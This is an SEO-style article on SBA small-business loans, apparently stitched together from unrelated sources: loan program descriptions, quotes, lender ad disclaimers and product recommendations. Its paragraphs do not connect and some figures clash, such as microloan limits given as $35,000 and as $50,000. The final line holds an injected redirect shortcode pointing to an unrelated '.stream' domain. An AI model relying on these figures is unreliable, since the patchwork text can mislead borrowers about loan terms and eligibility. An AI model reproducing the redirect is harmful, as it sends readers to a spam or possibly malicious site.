• Assemble a complete financial history. In addition to your personal credit information, a lender is going to want to know that your business has a stable financial history. “An accurate and complete financial history is very important to lend credibility to the SBA loan request,” Anderson says. “If you are currently in business, lenders will want to see profit and loss statements for three complete fiscal years and the current year to date. In addition they will want a recent balance sheet, within the last 60 days.” If you are just starting a business, this step is not required. But keep in mind that it is much more difficult to obtain SBA loans for start-up businesses than existing businesses.
Unlike 7(a) and 504 loans, which are only offered to for-profit businesses, microloans can also be used for not-for-profit childcare centers, though other types of not-for-profit companies are ineligible.
The important takeaway is how much more restrictive a CDC / SBA 504 loan is compared to an SBA 7(a) loan. You can not use the proceeds of a 504 loan for working capital, debt refinance, non-owner occupied / investment real estate, etc. You can read more on the SBA’s website.
For established businesses making more than $60,000 annually, SmartBiz and Lending Club are solid choices. If you want the lowest rates and longer repayment terms, SmartBiz is the best option because it offers SBA loans. If you have $75,000 or more in annual sales and prefer flexible financing, consider Lending Club’s line of credit.
Under the Community Advantage Program, the SBA offers the same expedited application and approval process that comes with an SBA Express loan but will guarantee 85% of the loan for loans up to $250,000. This further reduces the risk to lenders, thereby increasing a lender’s appetite to make the loan under the SBA Express program. More information and a list of Community Advantage lenders can be found on the SBA’s website.
Contrary to what many people think, the SBA itself does not issue loans. Banks, credit unions, community development organizations, microlending institutions, and other partners actually make the loans. For qualifying loans, the SBA guarantees part of their repayment. The maximum guarantee is 85 % for loans under $150,000 and 75 % for loans over $150,000.
Small businesses in industries that have periods of boom and bust every year (in other words, busy seasons and slow season) often face cash flow problems when business is entering the busy season. They needs to hire workers and buy materials but likely won’t be paid for their work for 30-90 days. The SBA CAPLines allows small businesses grow as fast as possible and not run into cash flow issues.
Generally, you’ll get solid loan terms from lenders, making it possible for you to grow your business and establish better credit. That can help you qualify for other types of financing down the road.
The 504 program eligibility is more relaxed. Applicants must have a maximum business net worth of $15 million and an average income of less than $5 million for each of the past two years. Other restrictions described in the 7(a) program also apply.
Businesses must meet certain criteria to qualify for an SBA loan in addition to meeting the credit qualifications of the lending partner. We also differentiate SBA loans based on the need of the business owner.
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“It is important to understand that lenders need considerable information to justify making a loan and to support their request for an SBA guarantee,” Anderson says. “Succeeding in small business is often difficult, and lenders, while willing to take some risk, must protect themselves from losing money on the loan. Lenders need to be convinced that you are likely to pay back the loan with the interest specified.”
Fast approvals and 24 hour funding subject to receipt of required documentation, underwriting guidelines, and processing time by your bank. Funds are deposited into your business checking account as soon as the next business day after approval and acceptance of terms.
Microlenders offer small-size loans for young businesses with limited revenue and history. They typically offer loans of $50,000 or less. Some microlenders specifically work with small businesses in underrepresented communities and provide business assistance.
Your business must operate as a for-profit company and you can’t be on the SBA’s ineligible businesses list, which includes life insurance companies, financial businesses such as banks and real estate investing.
• Prepare financial projections. A lender is going to want to see some evidence that you’ll be able to pay back the loan. The most important information you can provide a lender is a cash-flow projection. A monthly cash-flow projection of 12 to 24 months or more may be required by the lender; however, this period may vary by lender and/or type of business. “Cash is the ‘life blood’ of small business, and you and the lender need to take precautions to be sure that you will not run out of cash,” Anderson says. It also may be necessary to provide projections of profit & loss statements and/or balance sheets. Again, this will vary by lender and/or type of business.
Being a women entrepreneur, the world can be yours for the taking if you plan the expansion of your business correctly. It is advised that you visit the SBA Office for Women’s Business Ownership for further information related to the different types of grants and loans available to women and counseling on the same. The National Women’s Business Council is another federal advisory body which addresses various economic issues and offers advice to female business owners.
This is not a guaranteed offer of credit. Loans subject to lender approval. Approval amount is based on eligibility determined by information obtained from Dun & Bradstreet. Actual eligibility may vary. Restrictions may apply. Application is subject to approval by the lender and is based on factors such as business type, time in business, annual sales, average bank balances, personal credit and other variables deemed relevant by the lender.
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For small (up to $35,000), short-term loans, the SBA’s Microloan Program may be right to give your business the help it needs. The loans may be used for working capital or the purchase of inventory, furniture or fixtures, supplies, machinery, and/or equipment. The target audience is small businesses and not-for-profit child-care centers that need small-scale financing and perhaps some technical assistance for the purpose of starting up or expanding. These loans are administered through certain designated microloan lenders, which are nonprofit organizations with experience in financing small loans and providing businesses with technical assistance.
SBA Express Loans are another option under the 7(a) program. They give lenders the flexibility to offer a revolving loan structure for a specified period. What this means: you can draw funds out for a certain amount of time, say 1-2 years, paying only interest and treating the funds as a line of credit, before beginning to repay the loan through monthly payments of interest and principal. The maximum term on these loans is seven years.
A small business loan is money borrowed to start, grow, or keep a small business afloat. Additionally, there are a few different small business loan types. Some of them are secured, meaning that you used some type of asset as collateral against the loan; and others are unsecured, meaning they’re not attached to an asset but are granted based on your credit.
Finally, the SBA International Trade Loan Program you must show that you can develop new foreign markets, expand existing foreign markets, and/or that your small business was adversely affected by imports and that the loan will increase your competitiveness.
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Your chances of being approved are greater if your personal and business finances are in good shape. “If a company has been in business for at least two years, is profitable and has cash flow to support loan payments, it’s likely a good candidate for an SBA loan,” SmartBiz CEO Evan Singer says. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]